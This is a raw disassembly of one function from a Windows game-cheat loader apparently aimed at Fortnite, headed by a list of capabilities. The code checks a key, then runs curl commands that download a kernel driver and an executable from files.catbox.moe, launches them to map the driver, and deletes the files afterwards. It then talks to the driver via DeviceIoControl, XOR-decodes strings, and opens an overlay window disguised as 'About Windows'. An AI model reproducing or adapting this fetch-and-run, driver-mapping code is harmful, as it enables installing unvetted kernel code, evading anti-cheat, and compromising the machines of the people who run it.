Function at 0x140032b50
Capabilities:
Create thread
Delete file
Encode data using xor
Enumerate processes
Execute command
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x1400b3040]
xor rax, rsp
mov qword [rbp + 0x150], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
test rax, rax
jne 0x140032bbb
lea rdx, str.Error:_Could_not_get_console_window_handle.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003d260
lea rdx, [0x14003d220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140032bf3
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongPtrA]
bts rax, 0x13
mov r8, rax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rcx, str.Arial_Free_External
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r13d, r13d
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Enter_Key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp]
mov rcx, rbx
call fcn.14003d8a0
lea rcx, [rbp]
mov r14, qword [rbp]
mov r15, qword [rbp + 0x18]
cmp r15, 0xf
cmova rcx, r14
mov r8, qword [rbp + 0x10]
cmp r8, 0xa
jne 0x1400338d4
test r8, r8
je 0x140032cc8
lea rdx, str.Arial_Free
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
test al, al
je 0x1400338d4
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400aa7ac]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Welcome_in_Arial_Free_External
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
lea rdx, [0x14003d220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov ecx, 0x30
call fcn.14003df38
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [0x1400ab200]
movdqu xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [str.Connecting_to_the_Arial_Solutions_API...]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400aa808]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400aa818]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0
lea rdx, [rbp - 0x20]
mov cl, 1
call fcn.140031420
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140032e0e
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032e09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140032e09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003dec0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov ecx, 0x30
call fcn.14003df38
mov rdx, rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0x2d
mov qword [rbp - 8], 0x2f
movups xmm0, xmmword [str._1__Map_Driver_n_2__Load_Cheat_nSelect_Option:]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400aa838]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400aa848]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x1400aa850]
mov dword [rax + 0x28], ecx
movzx eax, byte [0x1400aa854]
mov byte [rdx + 0x2c], al
mov byte [rdx + 0x2d], 0
lea rdx, [rbp - 0x20]
xor ecx, ecx
call fcn.140031420
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140032edc
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032ed7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003306e
call fcn.14003dec0
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp - 0x30]
cmp eax, 1
jne 0x14003300f
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.Information
lea rdx, str.Press_OK_to_map_the_driver_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x258
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
mov ecx, 0x20
call fcn.14003df38
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0x11
mov qword [rbp - 8], 0x1f
movups xmm0, xmmword [str.Mapping_Driver...]
movups xmmword [rax], xmm0
movzx ecx, byte [0x1400aa898]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], 0
lea rcx, [rbp - 0x20]
call fcn.1400315e0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140032fbc
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032fb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033075
call fcn.14003dec0
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_ej6k7l.sys___output_C:dddddd.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_xcuhte.bin___output_C:mmmmmm.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:mmmmmm.exe_C:dddddd.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:dddddd.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:mmmmmm.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x140032e27
cmp eax, 2
je 0x14003307c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Invalid_option._Please_select_1_or_2.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
lea rdx, [0x14003d220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
jmp 0x140032e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400aa7ac]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Open_Fortnite
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
lea rdx, [0x14003d220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400ab1f0]
movdqu xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [str.Open_Fortnite_]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x1400aa9c8]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1400aa9cc]
mov word [rbp - 0x14], ax
mov byte [rbp - 0x12], 0
lea rcx, [rbp - 0x20]
call fcn.1400315e0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14003318b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033186
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140033186
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003dec0
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..jeremyownsyou
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1400e5188], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400338a7
cmp qword [0x1400e4b90], 0
jne 0x140033273
nop word [rax + rax]
mov al, 0x1d
mov cl, 0x33
mov dl, 0x2f
mov r8b, 0x2a
mov r9b, 0x31
mov r10b, 9
mov r11b, 0x15
mov bl, 7
mov dil, 0x43
mov sil, 0x44
xor r12d, r12d
xor al, 0x5b
mov byte [rbp - 0x30], al
xor cl, 0x5c
mov byte [rbp - 0x2f], cl
xor dl, 0x5d
mov byte [rbp - 0x2e], dl
xor r8b, 0x5e
mov byte [rbp - 0x2d], r8b
xor r9b, 0x5f
mov byte [rbp - 0x2c], r9b
xor r10b, 0x60
mov byte [rbp - 0x2b], r10b
xor r11b, 0x61
mov byte [rbp - 0x2a], r11b
xor bl, 0x62
mov byte [rbp - 0x29], bl
xor dil, 0x63
mov byte [rbp - 0x28], dil
xor sil, 0x64
mov byte [rbp - 0x27], sil
mov byte [rbp - 0x26], r12b
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1400e4b90], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400e4b90], r12
je 0x1400331e0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x20], 0x130
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400332ca
nop dword [rax + rax]
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x14003340a
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400332a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1400aa7d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400aaa0c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.STARTING_CHEAT_NOW__HAVE_FUN_DESTROYING_KIDS.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
lea rdx, [0x14003d220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov ecx, 0x30
call fcn.14003df38
mov rcx, rax
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [0x1400ab210]
movdqu xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [str.STARTING_CHEAT_NOW__HAVE_FUN_DESTROYING_KIDS.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400aaa20]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400aaa30]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1400aaa38]
mov dword [rcx + 0x28], eax
movzx eax, byte [0x1400aaa3c]
mov byte [rcx + 0x2c], al
mov byte [rcx + 0x2d], 0
lea rcx, [rbp - 0x20]
call fcn.1400315e0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140033423
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003341e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003341e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x28]
mov dword [0x1400e5180], eax
jmp 0x1400332d3
call fcn.14003dec0
mov edx, 0xc8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x68], 0x7f1e8b
mov eax, dword [0x1400e5180]
mov dword [rsp + 0x6c], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, 0x10
lea r8, [rsp + 0x68]
mov edx, 0x23de8c
mov rcx, qword [0x1400e5188]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rbp - 0x30], r13
mov dword [rbp - 0x20], 0x7f1e8b
mov eax, dword [0x1400e5180]
mov dword [rbp - 0x1c], eax
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, 0x10
lea r8, [rbp - 0x20]
mov edx, 0x2360d4
mov rcx, qword [0x1400e5188]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp - 0x30]
mov qword [0x1400e5190], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400aae78]
movsd qword [rbp - 0x30], xmm0
mov edx, dword [0x1400aae80]
mov dword [rbp - 0x28], edx
movzx eax, word [0x1400aae84]
mov word [rbp - 0x24], ax
cmp byte [0x1400aae85], 0
je 0x1400336bc
mov ecx, r13d
cmp dword [0x1400b3090], 2
jl 0x140033679
movdqa xmm5, xmmword [0x1400ab600]
movdqa xmm2, xmmword [0x1400ab260]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400ab290]
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x1400ab2a0]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ab2b0]
movd xmm0, dword [0x1400aae78]
xorps xmm2, xmm0
movd dword [rbp - 0x30], xmm2
movdqa xmm2, xmmword [0x1400ab270]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400ab290]
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ab2b0]
movd xmm0, dword [rbp - 0x2c]
xorps xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movdqa xmm3, xmmword [0x1400ab280]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400ab290]
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x1400ab2b0]
movd xmm0, edx
xorps xmm3, xmm0
movd dword [rbp - 0x28], xmm3
mov ecx, 0xc
mov eax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140033690
mov rdx, qword [0x1400e5190]
lea rcx, [rbp - 0x30]
call fcn.140030470
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x1400339d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x80], 0x50
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r13
lea rbx, str.About_Windows
mov qword [rbp - 0x40], rbx
lea rax, [0x14003c180]
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x80]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rcx, qword [0x1400e4b90]
test rcx, rcx
je 0x14003389b
lea rdx, [0x1400e4b98]
call qword [sym.imp.USER32.dll_GetClientRect]
lea rdx, [rbp - 0x30]
mov rcx, qword [0x1400e4b90]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [rbp - 0x30]
mov dword [0x1400e4b98], eax
mov eax, dword [rbp - 0x2c]
mov dword [0x1400e4b9c], eax
mov ecx, dword [0x1400e4ba0]
mov dword [0x1400e4bb8], ecx
mov eax, dword [0x1400e4ba4]
mov dword [0x1400e4b8c], eax
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov r9d, 0x90000000
lea r8, str.Winver
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x1400e4c48], rax
lea rdx, [0x1400446d8]
mov rcx, rax
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, qword [0x1400e4c48]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, 5
mov rcx, qword [0x1400e4c48]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400e4c48]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140033ad0
call fcn.14003bde0
mov rcx, qword [0x1400e4ae8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x1400e4c98]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x1400e4b78]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x1400e4c48]
call qword [sym.imp.USER32.dll_DestroyWindow]
xor edx, edx
lea rcx, str.fgers
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
cmp r15, 0xf
jbe 0x140033894
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14003388c
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033981
mov rcx, r14
call fcn.14003dec0
xor eax, eax
jmp 0x140033995
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
lea r8, str.driver_not_loaded
lea rdx, str.driver_not_loaded
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400aa7ac]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Invalid_Key._Exiting_Cheat.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003d260
lea rdx, [0x14003d220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
cmp r15, 0xf
jbe 0x140033990
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140033988
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140033988
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14003dec0
mov eax, 1
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.14003da70
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret